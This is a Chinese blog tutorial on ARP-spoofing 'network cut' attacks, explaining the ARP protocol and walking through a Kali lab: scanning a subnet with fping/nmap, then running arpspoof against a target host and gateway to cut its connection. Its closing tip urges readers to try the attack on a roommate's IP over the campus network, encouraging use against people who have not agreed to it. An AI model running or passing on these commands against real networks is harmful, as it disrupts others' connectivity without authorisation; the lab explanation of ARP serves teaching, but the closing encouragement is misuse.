当前位置:网站首页>网络层—简单的arp断网
网络层—简单的arp断网
2022-07-06 09:22:00 【又懒有菜】
目录
2)kali选择网卡 需要ifconfig与物理机在同一网段(注意)
一、ARP协议
ARP(Address Resolution Protocol)地址解析协议,目的是实现IP地址到MAC地址的转换。
在计算机间通信的时候,计算机要知道目的计算机是谁(就像我们人交流一样,要知道对方是谁),这中间需要涉及到MAC地址,而MAC是真正的电脑的唯一标识符。
为什么需要ARP协议呢?因为在OSI七层模型中,对数据从上到下进行封装发送出去,然后对数据从下到上解包接收,但是上层(网络层)关心的IP地址,下层关心的是MAC地址,这个时候就需要映射IP和MAC。
二、环境准备
大环境:物理机+kali
小工具:namp/fping+arpspoof
三、断网攻击原理
图解ARP协议(二)ARP攻击原理与实践 - 知乎 (zhihu.com)
https://zhuanlan.zhihu.com/p/367998688
四、废话不多,开干开干
1)物理机查看网段以及被攻击ip

2)kali选择网卡 需要ifconfig与物理机在同一网段(注意)

3)kali扫描网段存活主机
fping命令
fping -g 192.168.1.0/24
nmap命令(扫描不到物理机,因为是宿主机)
nmap -sP 192.168.1.0/24推荐此实验使用,fping
4)观察物理机是否能上网(可以)

5)攻击命令 eth0是与物理机ip处在同一网段的网卡
sudo arpspoof -i eth0 -t 物理机ip 网关ip
6)成功断网
7)恢复网络 kali ctrl+c 结束命令
tips:连上校园网 试试你舍友的ip吧!
边栏推荐
- Attach the simplified sample database to the SQLSERVER database instance
- 7-11 机工士姆斯塔迪奥(PTA程序设计)
- HackMyvm靶机系列(7)-Tron
- HackMyvm靶机系列(2)-warrior
- 【MySQL数据库的学习】
- [the Nine Yang Manual] 2020 Fudan University Applied Statistics real problem + analysis
- UGUI—Text
- 实验九 输入输出流(节选)
- 3. Input and output functions (printf, scanf, getchar and putchar)
- Brief introduction to XHR - basic use of XHR
猜你喜欢

MySQL锁总结(全面简洁 + 图文详解)

QT meta object qmetaobject indexofslot and other functions to obtain class methods attention

MySQL lock summary (comprehensive and concise + graphic explanation)

Strengthen basic learning records

【VMware异常问题】问题分析&解决办法

A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews

强化學習基礎記錄

HackMyvm靶机系列(5)-warez

7-7 7003 combination lock (PTA program design)

Write a program to simulate the traffic lights in real life.
随机推荐
[graduation season · advanced technology Er] goodbye, my student days
【educoder数据库实验 索引】
7-3 construction hash table (PTA program design)
1. First knowledge of C language (1)
Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis
[hand tearing code] single case mode and producer / consumer mode
Nuxtjs快速上手(Nuxt2)
深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning
Experiment five categories and objects
一段用蜂鸣器编的音乐(成都)
Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
强化學習基礎記錄
这次,彻底搞清楚MySQL索引
HackMyvm靶机系列(4)-vulny
1. Preliminary exercises of C language (1)
7-5 staircase upgrade (PTA program design)
This time, thoroughly understand the MySQL index
3. Input and output functions (printf, scanf, getchar and putchar)
[during the interview] - how can I explain the mechanism of TCP to achieve reliable transmission
It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan